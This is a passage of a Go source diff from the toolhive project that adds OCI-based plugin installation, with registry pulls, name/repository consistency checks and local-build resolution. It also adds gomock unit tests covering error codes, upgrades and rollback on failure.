Mirror of +// skillsvc.installFromOCI, substituting the plugin supply-chain check +// (config.Name == OCI repo last segment) and hydrating Components/Dependencies +// from the plugin OCI config. +func (s *service) installFromOCI( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + ref nameref.Reference, +) (*plugins.InstallResult, error) { + if s.registry == nil || s.ociStore == nil { + return nil, httperr.WithCode( + fmt.Errorf("OCI registry is not configured"), + http.StatusInternalServerError, + ) + } + if len(s.materializers) == 0 { + return nil, httperr.WithCode( + fmt.Errorf("no materializers configured for plugin installs"), + http.StatusInternalServerError, + ) + } + + ociRef := qualifiedOCIRef(ref) + + pullCtx, cancel := context.WithTimeout(ctx, ociPullTimeout) + defer cancel() + + pulledDigest, err := s.registry.Pull(pullCtx, s.ociStore, ociRef) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("pulling OCI artifact %q: %w", ociRef, err), + classifyPullError(err), + ) + } + + layerData, pluginConfig, err := s.extractPluginOCIContent(ctx, pulledDigest) + if err != nil { + return nil, err + } + + if err := plugins.ValidatePluginName(pluginConfig.Name); err != nil { + return nil, httperr.WithCode( + fmt.Errorf("plugin artifact contains invalid name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + // Name/repo consistency check: the plugin name declared in the artifact + // config must match the last path component of the OCI reference. This + // prevents accidental clobbering when a ref resolves to an artifact that + // self-declares a different plugin name. Note: this is a consistency check, + // not publisher authenticity — pluginConfig.Name is the artifact's own + // self-declared field, so it does not bind the artifact to a trusted + // publisher. Signature/attestation verification is a separate concern. + repo := ref.Context().RepositoryStr() + if idx := strings.LastIndex(repo, "/"); idx >= 0 { + repo = repo[idx+1:] + } + if repo != pluginConfig.Name { + return nil, httperr.WithCode( + fmt.Errorf( + "plugin name %q in artifact does not match OCI reference repository %q", + pluginConfig.Name, repo, + ), + http.StatusUnprocessableEntity, + ) + } + + // Hydrate install options from the pulled artifact. + opts.Name = pluginConfig.Name + opts.LayerData = layerData + opts.Reference = ociRef + opts.Digest = pulledDigest.String() + opts.Components = pluginConfig.Components + opts.Description = pluginConfig.Description + opts.Dependencies = requiresToDependencies(pluginConfig.Requires) + if t, hasTag := tagFromRef(ref); hasTag { + opts.Tag = t + } + if opts.Version == "" && pluginConfig.Version != "" { + opts.Version = pluginConfig.Version + } + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + return s.installWithExtraction(ctx, opts, scope) +} + +// requiresToDependencies maps a plugin's declared `requires` OCI references +// (strings) into Dependency records. Name/Digest are left empty; they are +// resolved at dependency-install time (a later Phase-3 wave). +func requiresToDependencies(requires []string) []plugins.Dependency { + if len(requires) == 0 { + return nil + } + deps := make([]plugins.Dependency, 0, len(requires)) + for _, r := range requires { + if r == "" { + continue + } + deps = append(deps, plugins.Dependency{Reference: r}) + } + return deps +} + +// tagFromRef returns the OCI tag portion of ref (if any). Digest references +// and tag-less references report hasTag=false. +func tagFromRef(ref nameref.Reference) (string, bool) { + if _, isDigest := ref.(nameref.Digest); isDigest { + return "", false + } + if t, ok := ref.(nameref.Tag); ok { + return t.TagStr(), true + } + return "", false +} + +// resolveFromLocalStore attempts to resolve a plugin name against the local +// OCI store. It first tries a direct tag lookup; when that misses, it falls +// back to scanning local-build-marked tags for one whose declared plugin name +// matches. Returns (true, nil) when resolved (opts hydrated), (false, nil) +// when no match found. Mirror of skillsvc.resolveFromLocalStore. +func (s *service) resolveFromLocalStore(ctx context.Context, opts *plugins.InstallOptions) (bool, error) { + resolved, err := s.tryDirectLocalTag(ctx, opts) + if err != nil || resolved { + return resolved, err + } + return s.tryLocalBuildScan(ctx, opts) +} + +// tryDirectLocalTag attempts to resolve opts.Name as a literal tag in the +// local OCI store and verifies the artifact's declared plugin name matches. +func (s *service) tryDirectLocalTag( + ctx context.Context, + opts *plugins.InstallOptions, +) (bool, error) { + d, err := s.ociStore.Resolve(ctx, opts.Name) + if err != nil { + return false, nil + } + + layerData, pluginConfig, err := s.extractPluginOCIContent(ctx, d) + if err != nil { + return false, err + } + + if err := plugins.ValidatePluginName(pluginConfig.Name); err != nil { + return false, httperr.WithCode( + fmt.Errorf("local artifact contains invalid plugin name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + if pluginConfig.Name != opts.Name { + return false, httperr.WithCode( + fmt.Errorf( + "plugin name %q in local artifact does not match install name %q", + pluginConfig.Name, opts.Name, + ), + http.StatusUnprocessableEntity, + ) + } + + if opts.Version != "" && pluginConfig.Version != opts.Version { + return false, nil + } + + hydrateOptsFromLocalBuild(opts, layerData, d, pluginConfig, opts.Name) + return true, nil +} + +// tryLocalBuildScan walks local-build-marked tags for a plugin artifact whose +// declared name (and version, when specified) matches opts. +func (s *service) tryLocalBuildScan( + ctx context.Context, + opts *plugins.InstallOptions, +) (bool, error) { + matches, err := s.findLocalBuildsByName(ctx, opts.Name, opts.Version) + if err != nil { + return false, err + } + if len(matches) == 0 { + slog.Debug("plugin name not found in local OCI store", + "name", opts.Name, "version", opts.Version) + return false, nil + } + + chosen := pickLocalBuildMatch(matches, opts.Name) + if chosen == nil { + return false, ambiguousLocalBuildError(opts.Name, matches) + } + hydrateOptsFromLocalBuild(opts, chosen.LayerData, chosen.Digest, chosen.Config, chosen.Tag) + return true, nil +} + +// localBuildMatch is a candidate match found by scanning local-build-marked +// tags for a plugin with a given name. +type localBuildMatch struct { + Tag string + Digest digest.Digest + LayerData []byte + Config *ociplugins.PluginConfig +} + +// findLocalBuildsByName scans local-build-marked tags for plugin artifacts +// whose declared name matches `name`. Mirror of skillsvc.findLocalBuildsByName. +func (s *service) findLocalBuildsByName( + ctx context.Context, name, version string, +) ([]localBuildMatch, error) { + tags, err := s.ociStore.ListTags(ctx) + if err != nil { + return nil, fmt.Errorf("listing local OCI tags: %w", err) + } + + var matches []localBuildMatch + for _, tag := range tags { + local, markerErr := isLocalBuild(ctx, s.ociStore, tag) + if markerErr != nil { + slog.Debug("failed to read local-build marker", "tag", tag, "error", markerErr) + continue + } + if !local { + continue + } + + d, resolveErr := s.ociStore.Resolve(ctx, tag) + if resolveErr != nil { + slog.Debug("failed to resolve local-build tag", "tag", tag, "error", resolveErr) + continue + } + + isPlugin, typeErr := s.isPluginArtifact(ctx, d) + if typeErr != nil { + slog.Debug("failed to check artifact type", "tag", tag, "error", typeErr) + continue + } + if !isPlugin { + continue + } + + layerData, cfg, extractErr := s.extractPluginOCIContent(ctx, d) + if extractErr != nil { + slog.Debug("failed to extract local-build content", "tag", tag, "error", extractErr) + continue + } + if cfg == nil || cfg.Name != name { + continue + } + if version != "" && cfg.Version != version && tag != version { + continue + } + + matches = append(matches, localBuildMatch{ + Tag: tag, + Digest: d, + LayerData: layerData, + Config: cfg, + }) + } + return matches, nil +} + +// pickLocalBuildMatch selects a single match among scan results. Mirror of +// skillsvc.pickLocalBuildMatch. +func pickLocalBuildMatch(matches []localBuildMatch, name string) *localBuildMatch { + if len(matches) == 1 { + return &matches[0] + } + for i := range matches { + if matches[i].Tag == name { + return &matches[i] + } + } + return nil +} + +// ambiguousLocalBuildError builds a 409 error listing each ambiguous match. +func ambiguousLocalBuildError(name string, matches []localBuildMatch) error { + lines := make([]string, 0, len(matches)) + for _, m := range matches { + var version string + if m.Config != nil { + version = m.Config.Version + } + lines = append(lines, fmt.Sprintf(" - tag %q, version %q", m.Tag, version)) + } + return httperr.WithCode( + fmt.Errorf( + "multiple local builds match plugin %q; specify version to disambiguate. Candidates:\n%s", + name, strings.Join(lines, "\n"), + ), + http.StatusConflict, + ) +} + +// hydrateOptsFromLocalBuild populates opts from a resolved local-build artifact. +func hydrateOptsFromLocalBuild( + opts *plugins.InstallOptions, + layerData []byte, + d digest.Digest, + cfg *ociplugins.PluginConfig, + tag string, +) { + opts.LayerData = layerData + opts.Digest = d.String() + if opts.Reference == "" { + opts.Reference = tag + } + if cfg != nil { + opts.Components = cfg.Components + opts.Description = cfg.Description + opts.Dependencies = requiresToDependencies(cfg.Requires) + if opts.Version == "" && cfg.Version != "" { + opts.Version = cfg.Version + } + } +} diff --git a/pkg/plugins/pluginsvc/install_oci_test.go b/pkg/plugins/pluginsvc/install_oci_test.go new file mode 100644 index 0000000000..490e509e54 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_oci_test.go @@ -0,0 +1,309 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "os" + "path/filepath" + "testing" + + godigest "github.com/opencontainers/go-digest" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + ocimocks "github.com/stacklok/toolhive-core/oci/plugins/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestInstallFromOCI(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + opts plugins.InstallOptions + setup func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) + wantCode int + wantErr string + wantName string + wantVersion string + wantDigest bool + wantRef string + }{ + { + name: "registry not configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return nil, nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "ociStore not configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return ocimocks.NewMockRegistryClient(ctrl), nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "no materializers configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + return ocimocks.NewMockRegistryClient(ctrl), ociStore, storemocks.NewMockPluginStore(ctrl), nil + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "pull error propagates", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(godigest.Digest(""), fmt.Errorf("auth required")) + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantErr: "auth required", + }, + { + name: "name mismatch between artifact and reference is rejected", + opts: plugins.InstallOptions{Name: "ghcr.io/org/some-repo:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "actual-plugin", "2.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/some-repo:v1"). + Return(indexDigest, nil) + + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusUnprocessableEntity, + wantErr: "does not match OCI reference repository", + }, + { + name: "successful pull and install", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(indexDigest, nil) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "my-plugin", p.Metadata.Name) + assert.Equal(t, "1.0.0", p.Metadata.Version) + assert.Equal(t, "ghcr.io/org/my-plugin:v1", p.Reference) + assert.Equal(t, "v1", p.Tag) + assert.Contains(t, p.Digest, "sha256:") + return nil + }) + return reg, ociStore, store, adapter + }, + wantName: "my-plugin", + wantVersion: "1.0.0", + wantDigest: true, + wantRef: "ghcr.io/org/my-plugin:v1", + }, + { + name: "preserves caller version over config version", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1", Version: "override-version", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(indexDigest, nil) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "override-version", p.Metadata.Version) + return nil + }) + return reg, ociStore, store, adapter + }, + wantName: "my-plugin", + wantVersion: "override-version", + }, + { + name: "invalid OCI reference returns 400", + opts: plugins.InstallOptions{Name: "not://valid:ref:extra"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return nil, nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusBadRequest, + }, + { + name: "oversized layer returns 422", + opts: plugins.InstallOptions{Name: "ghcr.io/org/oversize-plugin:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + manifestDigest := buildPluginManifestWithLayerSize(t, ociStore, "oversize-plugin", maxCompressedLayerSize+1) + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/oversize-plugin:v1"). + Return(manifestDigest, nil) + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusUnprocessableEntity, + wantErr: "compressed layer size", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + registry, ociStore, store, adapter := tt.setup(t, ctrl) + + var opts []Option + if registry != nil { + opts = append(opts, WithRegistryClient(registry)) + } + if ociStore != nil { + opts = append(opts, WithOCIStore(ociStore)) + } + if adapter != nil { + opts = append(opts, WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + } + opts = append(opts, WithStore(store)) + + svc := newTestService(opts...) + result, err := svc.Install(t.Context(), tt.opts) + + if tt.wantCode != 0 { + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + return + } + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + return + } + require.NoError(t, err) + if tt.wantName != "" { + assert.Equal(t, tt.wantName, result.Plugin.Metadata.Name) + } + if tt.wantVersion != "" { + assert.Equal(t, tt.wantVersion, result.Plugin.Metadata.Version) + } + if tt.wantDigest { + assert.Contains(t, result.Plugin.Digest, "sha256:") + } + if tt.wantRef != "" { + assert.Equal(t, tt.wantRef, result.Plugin.Reference) + } + }) + } +} + +func TestInstallFromLocalStore(t *testing.T) { + t.Parallel() + + t.Run("happy path: build then install", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + require.NoError(t, ociStore.Tag(t.Context(), indexDigest, "my-plugin")) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "my-plugin", p.Metadata.Name) + assert.Equal(t, "1.0.0", p.Metadata.Version) + assert.Contains(t, p.Digest, "sha256:") + return nil + }) + + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + Clients: []string{"claude-code"}, + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", result.Plugin.Metadata.Name) + }) + + t.Run("name mismatch in local artifact", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + indexDigest := buildTestPlugin(t, ociStore, "real-plugin", "1.0.0") + require.NoError(t, ociStore.Tag(t.Context(), indexDigest, "evil-plugin")) + + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err = svc.Install(t.Context(), plugins.InstallOptions{Name: "evil-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusUnprocessableEntity, httperr.Code(err)) + assert.Contains(t, err.Error(), "does not match install name") + }) + + t.Run("tag not found returns not found error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err = svc.Install(t.Context(), plugins.InstallOptions{Name: "no-such-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusNotFound, httperr.Code(err)) + assert.Contains(t, err.Error(), "not found in local store or registry") + }) +} + +// suppress unused import when builds trim helper usage. +var _ = os.Stat +var _ = filepath.Join diff --git a/pkg/plugins/pluginsvc/install_test.go b/pkg/plugins/pluginsvc/install_test.go new file mode 100644 index 0000000000..250ec5d018 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_test.go @@ -0,0 +1,578 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +// makePluginLayerData builds a tar.gz layer containing a minimal plugin tree +// (manifest + a command file). Used by install round-trip tests. +func makePluginLayerData(t *testing.T, name string) []byte { + t.Helper() + files := []ociartifact.FileEntry{ + {Path: ".claude-plugin/plugin.json", Content: []byte(fmt.Sprintf(`{"name":%q,"version":"1.0.0"}`, name)), Mode: 0644}, + {Path: "commands/hello.md", Content: []byte("# hello"), Mode: 0644}, + } + data, err := ociartifact.CompressTar(files, ociartifact.DefaultTarOptions(), ociartifact.DefaultGzipOptions()) + require.NoError(t, err) + return data +} + +func TestInstallPlainNameNotFound(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + opts plugins.InstallOptions + wantCode int + wantErr string + }{ + { + name: "plain name without store or lookup returns not found", + opts: plugins.InstallOptions{Name: "my-plugin"}, + wantCode: http.StatusNotFound, + wantErr: "not found in local store or registry", + }, + { + name: "rejects project scope without root", + opts: plugins.InstallOptions{Name: "my-plugin", Scope: plugins.ScopeProject}, + wantCode: http.StatusBadRequest, + }, + { + name: "rejects invalid name", + opts: plugins.InstallOptions{Name: "A"}, + wantCode: http.StatusBadRequest, + }, + { + name: "rejects empty name", + opts: plugins.InstallOptions{Name: ""}, + wantCode: http.StatusBadRequest, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Install(t.Context(), tt.opts) + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + if tt.wantErr != "" { + assert.Contains(t, err.Error(), tt.wantErr) + } + }) + } +} + +func TestInstallWithExtraction(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + t.Run("fresh install materializes and creates record", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + assert.Equal(t, "my-plugin", req.Name) + assert.Equal(t, layerData, req.LayerData) + return &plugins.MaterializeResult{InstalledComponents: []plugins.ComponentType{plugins.ComponentCommands}}, nil + }) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, plugins.InstallStatusInstalled, p.Status) + assert.Equal(t, "sha256:abc", p.Digest) + assert.Equal(t, []string{"claude-code"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + assert.Equal(t, plugins.InstallStatusInstalled, result.Plugin.Status) + }) + + t.Run("same digest is no-op", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:abc", + Status: plugins.InstallStatusInstalled, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // No Materialize, no Create, no Update. + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", result.Plugin.Metadata.Name) + }) + + t.Run("different digest triggers upgrade", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:old", + Status: plugins.InstallStatusInstalled, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "sha256:new", p.Digest) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:new", + }) + require.NoError(t, err) + assert.Equal(t, "sha256:new", result.Plugin.Digest) + }) + + t.Run("explicit client used over default", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, []string{"custom-client"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"custom-client": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Clients: []string{"custom-client"}, + Digest: "sha256:abc", + }) + require.NoError(t, err) + }) + + t.Run("multiple clients fresh install", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.NoError(t, err) + }) + + t.Run("fresh install rolls back on store.Create failure", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).Return(fmt.Errorf("db write error")) + adapter.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.Error(t, err) + assert.Contains(t, err.Error(), "db write error") + }) + + t.Run("multi-client fresh install rolls back first client on second materialize failure", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := 